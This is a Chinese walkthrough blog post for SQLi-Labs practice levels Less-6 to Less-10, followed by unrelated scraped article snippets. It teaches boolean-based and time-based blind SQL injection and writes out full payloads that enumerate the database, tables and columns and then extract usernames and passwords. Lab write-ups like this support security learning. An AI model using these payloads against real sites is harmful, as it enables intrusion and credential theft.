《SQLi-Labs》02. Less 6~10

news2024/12/25 14:49:17

sqli

  • Less-6
    • 知识点
    • 题解
  • Less-7
    • 题解
  • Less-8
    • 题解
  • Less-9
    • 知识点
    • 题解
  • Less-10
    • 题解


sqli。开启新坑。

Less-6

知识点

布尔盲注。与 Less-5 基本相同。这里只简略写大致步骤。

  • length() 函数:返回字符串所占的字节数。
  • ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
  • substr() 函数:字符串截取函数。

题解

根据页面报错信息可以猜测 id 参数是双引号。

只需将 Less-5 的单引号换成双引号即可。

判断当前数据库长度:

url + ?id=1" and length((select database()))>=8 --+

字符串截取并通过 ASCII 码比较来得出数据库名:

url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+

爆表

判断所有表名字符长度:

url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+

ASCII 码比较得到表名:

url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+

爆字段

判断字符长:

url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+

判断字段名:

url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+

得到 username 和 password 字段

获取敏感数据

判断内容长度。

url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+

然后依次判断每一个字符即可。最终结果与前 4 个题相同。

url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+

Less-7

题解

与 Less-5、Less-6 相同,也是布尔盲注。不过较上题有一点区别。

在这里插入图片描述

在这里插入图片描述

这一题只会显示报错,但没有报错信息。那就逐个判断一下。

传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。

然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。

那就试试双括号 id=1'))--+ ,发现页面显示正常。

于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。

Less-8

题解

Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。

id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。

Less-9

知识点

时间盲注。涉及到以下 MySQL 函数:

  • if (expr1, expr2, expr3)
    如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。

  • sleep(N)
    让此语句运行N秒钟。

当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。

时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。

只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。

题解

通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。

思路与 Less-5 相同。这里只简单叙述。

判断参数构造。通过页面时间来判断出id参数是单引号字符串。

url + ?id=1' and if(1=1, sleep(3), 1) --+

判断当前数据库名长度

url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+

逐一判断数据库字符

url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+

爆表

判断所有表名长度。

url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+

逐一判断表名。

url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+

爆字段

判断所有字段名的长度。

url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+

逐一判断字段名。得到 username 和 password 字段。

url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+

获取敏感数据

判断内容长度。

url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+

逐一检测内容即可。

url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+

Less-10

题解

id参数是双引号字符串。

和 Less-9 一样,只需要将单引号换成双引号即可。


十有九人堪白眼,百无一用是书生。

——《杂感》(清)黄景仁

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/485002.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenGL开发必过的坎------开发环境的准备(Windows10)

前言 图形编程一直以来都是计算机科学中最具挑战性的主题之一。随着限制VR技术的兴起,越来越多的公司开始涉足VR领域。目前来看使用最多的是Unity3d来开发,但是像浏览器,将2D应用3D化(把2D的应用界面投到一个3D的场景中&#xff…

FilmConvert Nitrate for Mac(fcpx/胶片模拟调色Pr/AE插件)

FilmConvert Nitrate是一款针对视频后期处理的插件,可用于颜色校正和外观看调整。它提供了各种预设,以方便用户足够快速地修改视频的外观,并还包含一个自定义工具集,以方便用户可以调整多个参数来达到他们所需要的效果。 该插件支…

SpringBoot + Druid DataSource 实现监控 MySQL 性能

1 添加依赖 <properties><java.version>1.8</java.version><alibabaDruidStarter.version>1.2.11</alibabaDruidStarter.version> </properties><dependency><groupId>com.alibaba</groupId><artifactId>druid-s…

Python基础合集 练习24 (程序调试)

assert expression[,arguments] expression条件表达式语句,如果表达式的值为真,则程序会继续执行下去,如果值为假则程序抛出Assertionerror错误,并输出指定的参数内容 arguments可选参数 if not expression: raise AssertionError(argument) def num_ca(): book int(inpu…

Rust 一门赋予每个人构建可靠且高效软件能力的语言

目录 Rust 安装 尝试 hello, world 编译 链接出错 开启 Rust 之旅 官方教程 《Rust 程序设计语言》 《通过例子学 Rust》 核心文档 标准库 版本指南 CARGO 手册 RUSTDOC 手册 RUSTC 手册 编译错误索引表 非官方翻译教程 Rust 程序设计语言 简体中文版 通…

543. 二叉树的直径【71】

难度等级&#xff1a;容易 上一篇算法&#xff1a; 199. 二叉树的右视图【111】 力扣此题地址&#xff1a; 543. 二叉树的直径 - 力扣&#xff08;Leetcode&#xff09; 1.题目&#xff1a;543. 二叉树的直径 给定一棵二叉树&#xff0c;你需要计算它的直径长度。一棵二叉树的…

玩一玩 Ubuntu 下的 VSCode 编程

一&#xff1a;背景 1. 讲故事 今天是五一的最后一天&#xff0c;想着长期都在 Windows 平台上做开发&#xff0c;准备今天换到 Ubuntu 系统上体验下&#xff0c;主要是想学习下 AT&T 风格的汇编&#xff0c;这里 Visual Studio 肯定是装不了了&#xff0c;还得上 VSCode…

Spring:依赖注入的方式(setter注入、构造器注入、自动装配、集合注入)

依赖注入的方式有setter注入、构造器注入、自动装配、集合注入 首先&#xff0c;Maven项目pom.xml依赖包如下&#xff1a; pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:…

Servlet中转发和重定向的区别

什么是转发&#xff0c;重定向&#xff1f; 转发和重定向都是用于在服务器和浏览器之间进行页面跳转的方式。 转发是在服务器内部进行的&#xff0c;当一个Servlet接收到请求后&#xff0c;它可以将请求转发给另一个Servlet或JSP页面来处理请求&#xff0c;但是浏览器不知道这…

C语言-学习之路-04

C语言-学习之路-04 数组与字符串一维数组一维数组的定义和使用一维数组的初始化数组名一维数组练习 二维数组二维数组的定义和使用二维数组的初始化数组名 字符数组与字符串字符串的输入输出随机数字符串处理函数 数组与字符串 数组&#xff1a;为了方便处理数据把具有相同类型…

等保工作的定级指南文件

定级主要依据国家标准信息安全技术网络安全等级保护基本要求来整改。有关等保工作流程和明细,请见:https://luozhonghua.blog.csdn.net/article/details/130465356?spm=1001.2014.3001.5502 5网络安全等级保护概述 5.1等级保护对象 等级保护对象是指网络安全等级保护工作中…

微服务注册中心-Nacos概述

1、Nacos基本介绍 1.1. 什么是 Nacos&#xff1f; Nacos 是阿里巴巴推出来的一个新开源项目&#xff0c;这是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集&#xff0c;帮…

详解Transformer (Attention Is All You Need)

先导知识 Attention残差网络Layer Normalization 前言 注意力&#xff08;Attention&#xff09;机制[2]由Bengio团队与2014年提出并在近年广泛的应用在深度学习中的各个领域&#xff0c;例如在计算机视觉方向用于捕捉图像上的感受野&#xff0c;或者NLP中用于定位关键token…

kvm GPU直通/GPU透传 之修改Windows虚拟机分辨率

为了方便对服务器进行自动管理,我们需要对硬件进行虚拟化。对于显卡而言,Nvidia有专门支持GPU虚拟化的显卡,比如GRID GPU系列。以NVIDIA GRID K2为例,显存8GB,可虚拟出2块GPU。 对于GTX系列的显卡,如果Host主机为linux系统,想将显卡给虚拟机(windows或者linux)使用,…

函数的栈帧与销毁(栈帧可不是战争哦)

&#x1f929;本文作者&#xff1a;大家好&#xff0c;我是paperjie&#xff0c;感谢你阅读本文&#xff0c;欢迎一建三连哦。 &#x1f970;内容专栏&#xff1a;这里是《C语言》专栏&#xff0c;笔者用重金(时间和精力)打造&#xff0c;将C语言知识一网打尽&#xff0c;希望可…

码出高效:Java开发手册笔记(java对象四种引用关系及ThreadLocal)

码出高效&#xff1a;Java开发手册笔记&#xff08;java对象四种引用关系及ThreadLocal&#xff09; 前言一、引用类型二、ThreadLocal价值三、ThreadLocal副作用 前言 “水能载舟&#xff0c;亦能覆舟。”用这句话来形容 ThreadLocal 最贴切不过。ThreadLocal 初衷是在线程并…

《C和指针》笔记3:置一和清零

在C语言中&#xff0c;移位运算符<<和>>表示二进制数左移或右移&#xff0c;我们可以利用它们很轻松地对变量中单个位进行置一和清零。 我们可以规定变量二进制数最右边一位是第0位&#xff0c;定义bit_number是0&#xff0c;对应地&#xff0c;从最右边一位往左数…

iOS开发系列--打造自己的“美图秀秀”

--绘图与滤镜全面解析 概述 在iOS中可以很容易的开发出绚丽的界面效果&#xff0c;一方面得益于成功系统的设计&#xff0c;另一方面得益于它强大的开发框架。今天我们将围绕iOS中两大图形、图像绘图框架进行介绍&#xff1a;Quartz 2D绘制2D图形和Core Image中强大的滤镜功能…

【OpenVinoSharp】基于C#和OpenVINO部署PaddleOCR模型

基于C#和OpenVINO部署PaddleOCR模型 1.OpenVINO2.PaddleOCRPP-OCRv2PP-OCRv3 3.模型下载与转换3.1 Detection model3.2 Direction classifier3.3 Recognition model 4.OpenVinoSharp安装4.1 获取OpenVinoSharp源码4.2 配置OpenVINO依赖项 5. PaddleOCR5. 1模型推理C#实现&#…

Kali 安装中文输入法(超详细)

1.进入管理员下的控制台。 2. 输入密码后点击“授权”。 3.在控制台内输入下面的命令。 apt install fcitx 4.敲击回车后会开始安装&#xff0c;这里输入“y”。 5.回车后会继续进行安装&#xff0c;安装完成后会自动停止。 6.输入下面的命令来安装google输入法。 apt-get in…